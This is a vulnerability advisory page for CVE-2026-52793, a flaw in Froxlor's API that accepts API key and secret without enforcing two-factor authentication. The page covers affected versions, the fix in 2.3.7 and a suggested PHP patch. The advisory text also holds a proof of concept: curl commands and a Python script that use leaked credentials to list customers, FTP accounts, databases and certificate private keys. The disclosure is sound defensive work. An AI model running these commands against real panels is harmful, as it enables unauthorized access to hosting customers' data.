CVE-2026-52793: Froxlor/froxlor Authentication Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-f9rx-7wf7-jr36
CVSS 8.1
CWE-287
Published
Advisory Summary

CVE-2026-52793 is a HIGH (CVSS 8.1) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting Froxlor/froxlor libraries in the Packagist ecosystem. The issue involves froxlor's api authentication bypasses 2fa authentication. Remediation is available by upgrading affected packages to version 2.3.7.

CVE-2026-52793 at a Glance

CVE Identifier CVE-2026-52793
GHSA Identifier GHSA-f9rx-7wf7-jr36
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-287: Improper Authentication
Affected Product Froxlor/froxlor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-52793

To remediate this vulnerability, upgrade all affected Froxlor/froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.3.7
Upgrade froxlor/froxlor to 2.3.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-52793, inspect your project dependencies for Froxlor/froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor/froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Froxlor/froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Froxlor's API authentication (`FroxlorRPC::validateAuth`) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required. An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor. ## Affected Code **Web UI — 2FA enforced** (`index.php:82-149`): ```php if ($result['type_2fa'] != 0) { // Redirects to 2FA input page // Calls FroxlorTwoFactorAuth::verifyCode() // Login is NOT completed without valid TOTP code } ``` **API — 2FA absent** (`lib/Froxlor/Api/FroxlorRPC.php:75-105`): ```php private static function validateAuth(string $key, string $secret): bool { $sel_stmt = Database::prepare(" SELECT ak.*, a.api_allowed as admin_api_allowed, c.api_allowed as cust_api_allowed, c.deactivated FROM `api_keys` ak LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid WHERE `apikey` = :ak AND `secret` = :as "); $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]); if ($result) { if ($result['apikey'] == $key && $result['secret'] == $secret && ($result['valid_until'] == -1 || $result['valid_until'] >= time()) && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1) || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1 && $result['deactivated'] == 0))) { // Checks: key match, secret match, not expired, API allowed, not deactivated // Missing: ANY check for type_2fa, TOTP verification, or 2FA status return true; } } throw new Exception('Invalid authorization credentials', 403); } ``` There are zero references to 2FA, TOTP, `type_2fa`, or `FroxlorTwoFactorAuth` in the entire `lib/Froxlor/Api/` directory: ```bash $ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/ # (no output) ``` ## PoC ### Environment - Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - API enabled (`api.enabled=1`) - Admin account has 2FA enabled (`type_2fa=1`, TOTP configured) - Admin has an API key ### Step 1: Confirm 2FA blocks web UI login ``` POST /index.php HTTP/1.1 Host: panel.example.com Content-Type: application/x-www-form-urlencoded loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send ``` **Result:** Redirect to `index.php?showmessage=4` — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code. ### Step 2: Authenticate via API — no TOTP required ```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{"command":"Customers.listing","params":{}}' \ https://panel.example.com/api.php ``` **Result:** HTTP 200 with full customer listing: ```json { "data": { "list": [ { "loginname": "testcust", "email": "test@froxlor.lab", "name": "Test", "firstname": "Customer" } ] } } ``` No TOTP code was provided. No 2FA prompt was returned. Full access granted. ### Step 3: Access additional sensitive resources All of these succeed without any 2FA challenge: ```bash # Domains curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php # FTP accounts (home directories, credentials) curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php # Email accounts curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php # MySQL databases curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php # SSL certificates (private keys) curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php # DNS records curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php ``` 165 API functions are accessible, including write operations (`Customers.update`, `Domains.add`, `Ftps.add`, etc.). ### Automated PoC Script ```python #!/usr/bin/env python3 """Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)""" import json, sys, requests, urllib3 urllib3.disable_warnings() target, key, secret = sys.argv[1], sys.argv[2], sys.argv[3] r = requests.post(f"{target}/api.php", auth=(key, secret), json={"command": "Customers.listing", "params": {}}, verify=False) data = r.json() print(f"HTTP {r.status_code}") if "data" in data: for c in data["data"].get("list", []): print(f" {c['loginname']} | {c['email']}") print(f"\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.") ``` Usage: `python3 poc.py https://panel.example.com API_KEY API_SECRET` ## Impact When a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation: - **Customer data**: PII (name, email, address) readable and modifiable - **Domains**: Full control over domains, subdomains, DNS records - **Email accounts**: Create, read, delete email accounts and forwarders - **FTP accounts**: Access home directory paths and credentials - **MySQL databases**: Full database management - **SSL certificates**: Read private keys, modify certificate bindings - **165 API functions**: Including all write operations API keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected. ### Comparison with CVE-2023-3173 CVE-2023-3173 ("2FA Bypass by Brute Force") was accepted as **Critical ($60 bounty)** and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested. ## Suggested Fix Add 2FA verification to `FroxlorRPC::validateAuth()`. When the authenticated user has `type_2fa != 0`, require a TOTP code as an additional API parameter: ```php // lib/Froxlor/Api/FroxlorRPC.php, after line 100: // Check 2FA if enabled for this user if (!empty($result['adminid'])) { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id"), ['id' => $result['adminid']] ); } else { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id"), ['id' => $result['customerid']] ); } if ($user && $user['type_2fa'] != 0) { // Require X-2FA-Code header or 'totp_code' in request body $totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null; if (empty($totp_code)) { throw new Exception('2FA code required', 401); } $tfa = new FroxlorTwoFactorAuth($user['data_2fa']); if (!$tfa->verifyCode($totp_code)) { throw new Exception('Invalid 2FA code', 403); } } ``` Alternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.

CVE-2026-52793 Affected Froxlor/froxlor Versions

1 component(s)
Fixed Versions:
2.3.7
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
< 2.3.7
2.3.7

References

Frequently Asked Questions

What is CVE-2026-52793?
CVE-2026-52793 is a security vulnerability in Froxlor/froxlor involving Froxlor's API Authentication bypasses 2FA Authentication under CWE-287: Improper Authentication.
Which Froxlor/froxlor versions are affected?
Affected versions include releases prior to 2.3.7 across affected packages: froxlor/froxlor.
What version fixes CVE-2026-52793?
Upgrading to 2.3.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.3.7. Upgrade your dependency to 2.3.7 or later.
What is the CVSS score of CVE-2026-52793?
CVE-2026-52793 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-52793?
CVE-2026-52793 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Packagist dependencies for CVE-2026-52793?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f9rx-7wf7-jr36",
  "modified" : "2026-06-09T13:07:18Z",
  "published" : "2026-06-03T21:41:12Z",
  "aliases" : [ "CVE-2026-52793" ],
  "summary" : "Froxlor's API Authentication bypasses 2FA Authentication",
  "details" : "## Summary\n\nFroxlor's API authentication (`FroxlorRPC::validateAuth`) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required.\n\nAn attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.\n\n## Affected Code\n\n**Web UI — 2FA enforced** (`index.php:82-149`):\n\n```php\nif ($result['type_2fa'] != 0) {\n    // Redirects to 2FA input page\n    // Calls FroxlorTwoFactorAuth::verifyCode()\n    // Login is NOT completed without valid TOTP code\n}\n```\n\n**API — 2FA absent** (`lib/Froxlor/Api/FroxlorRPC.php:75-105`):\n\n```php\nprivate static function validateAuth(string $key, string $secret): bool\n{\n    $sel_stmt = Database::prepare(\"\n        SELECT ak.*, a.api_allowed as admin_api_allowed,\n               c.api_allowed as cust_api_allowed, c.deactivated\n        FROM `api_keys` ak\n        LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid\n        LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid\n        WHERE `apikey` = :ak AND `secret` = :as\n    \");\n    $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]);\n    if ($result) {\n        if ($result['apikey'] == $key && $result['secret'] == $secret\n            && ($result['valid_until'] == -1 || $result['valid_until'] >= time())\n            && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1)\n                || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1\n                    && $result['deactivated'] == 0))) {\n            // Checks: key match, secret match, not expired, API allowed, not deactivated\n            // Missing: ANY check for type_2fa, TOTP verification, or 2FA status\n            return true;\n        }\n    }\n    throw new Exception('Invalid authorization credentials', 403);\n}\n```\n\nThere are zero references to 2FA, TOTP, `type_2fa`, or `FroxlorTwoFactorAuth` in the entire `lib/Froxlor/Api/` directory:\n\n```bash\n$ grep -rn '2fa\\|totp\\|two.factor\\|FroxlorTwoFactor' lib/Froxlor/Api/\n# (no output)\n```\n\n## PoC\n\n### Environment\n\n- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)\n- API enabled (`api.enabled=1`)\n- Admin account has 2FA enabled (`type_2fa=1`, TOTP configured)\n- Admin has an API key\n\n### Step 1: Confirm 2FA blocks web UI login\n\n```\nPOST /index.php HTTP/1.1\nHost: panel.example.com\nContent-Type: application/x-www-form-urlencoded\n\nloginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send\n```\n\n**Result:** Redirect to `index.php?showmessage=4` — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.\n\n### Step 2: Authenticate via API — no TOTP required\n\n```bash\ncurl -s -u \"API_KEY:API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"command\":\"Customers.listing\",\"params\":{}}' \\\n  https://panel.example.com/api.php\n```\n\n**Result:** HTTP 200 with full customer listing:\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      {\n        \"loginname\": \"testcust\",\n        \"email\": \"test@froxlor.lab\",\n        \"name\": \"Test\",\n        \"firstname\": \"Customer\"\n      }\n    ]\n  }\n}\n```\n\nNo TOTP code was provided. No 2FA prompt was returned. Full access granted.\n\n### Step 3: Access additional sensitive resources\n\nAll of these succeed without any 2FA challenge:\n\n```bash\n# Domains\ncurl -s -u \"KEY:SECRET\" -d '{\"command\":\"Domains.listing\"}' .../api.php\n# FTP accounts (home directories, credentials)\ncurl -s -u \"KEY:SECRET\" -d '{\"command\":\"Ftps.listing\"}' .../api.php\n# Email accounts\ncurl -s -u \"KEY:SECRET\" -d '{\"command\":\"Emails.listing\"}' .../api.php\n# MySQL databases\ncurl -s -u \"KEY:SECRET\" -d '{\"command\":\"Mysqls.listing\"}' .../api.php\n# SSL certificates (private keys)\ncurl -s -u \"KEY:SECRET\" -d '{\"command\":\"Certificates.listing\"}' .../api.php\n# DNS records\ncurl -s -u \"KEY:SECRET\" -d '{\"command\":\"DomainZones.listing\",\"params\":{\"domainname\":\"example.com\"}}' .../api.php\n```\n\n165 API functions are accessible, including write operations (`Customers.update`, `Domains.add`, `Ftps.add`, etc.).\n\n### Automated PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)\"\"\"\nimport json, sys, requests, urllib3\nurllib3.disable_warnings()\n\ntarget, key, secret = sys.argv[1], sys.argv[2], sys.argv[3]\n\nr = requests.post(f\"{target}/api.php\", auth=(key, secret),\n    json={\"command\": \"Customers.listing\", \"params\": {}}, verify=False)\ndata = r.json()\n\nprint(f\"HTTP {r.status_code}\")\nif \"data\" in data:\n    for c in data[\"data\"].get(\"list\", []):\n        print(f\"  {c['loginname']} | {c['email']}\")\n    print(f\"\\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.\")\n```\n\nUsage: `python3 poc.py https://panel.example.com API_KEY API_SECRET`\n\n## Impact\n\nWhen a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation:\n\n- **Customer data**: PII (name, email, address) readable and modifiable\n- **Domains**: Full control over domains, subdomains, DNS records\n- **Email accounts**: Create, read, delete email accounts and forwarders\n- **FTP accounts**: Access home directory paths and credentials\n- **MySQL databases**: Full database management\n- **SSL certificates**: Read private keys, modify certificate bindings\n- **165 API functions**: Including all write operations\n\nAPI keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected.\n\n### Comparison with CVE-2023-3173\n\nCVE-2023-3173 (\"2FA Bypass by Brute Force\") was accepted as **Critical ($60 bounty)** and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested.\n\n## Suggested Fix\n\nAdd 2FA verification to `FroxlorRPC::validateAuth()`. When the authenticated user has `type_2fa != 0`, require a TOTP code as an additional API parameter:\n\n```php\n// lib/Froxlor/Api/FroxlorRPC.php, after line 100:\n// Check 2FA if enabled for this user\nif (!empty($result['adminid'])) {\n    $user = Database::pexecute_first(\n        Database::prepare(\"SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id\"),\n        ['id' => $result['adminid']]\n    );\n} else {\n    $user = Database::pexecute_first(\n        Database::prepare(\"SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id\"),\n        ['id' => $result['customerid']]\n    );\n}\nif ($user && $user['type_2fa'] != 0) {\n    // Require X-2FA-Code header or 'totp_code' in request body\n    $totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null;\n    if (empty($totp_code)) {\n        throw new Exception('2FA code required', 401);\n    }\n    $tfa = new FroxlorTwoFactorAuth($user['data_2fa']);\n    if (!$tfa->verifyCode($totp_code)) {\n        throw new Exception('Invalid 2FA code', 403);\n    }\n}\n```\n\nAlternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-f9rx-7wf7-jr36"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-34qg-65m4-f23m"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-03T21:41:12Z",
    "nvd_published_at" : null
  }
}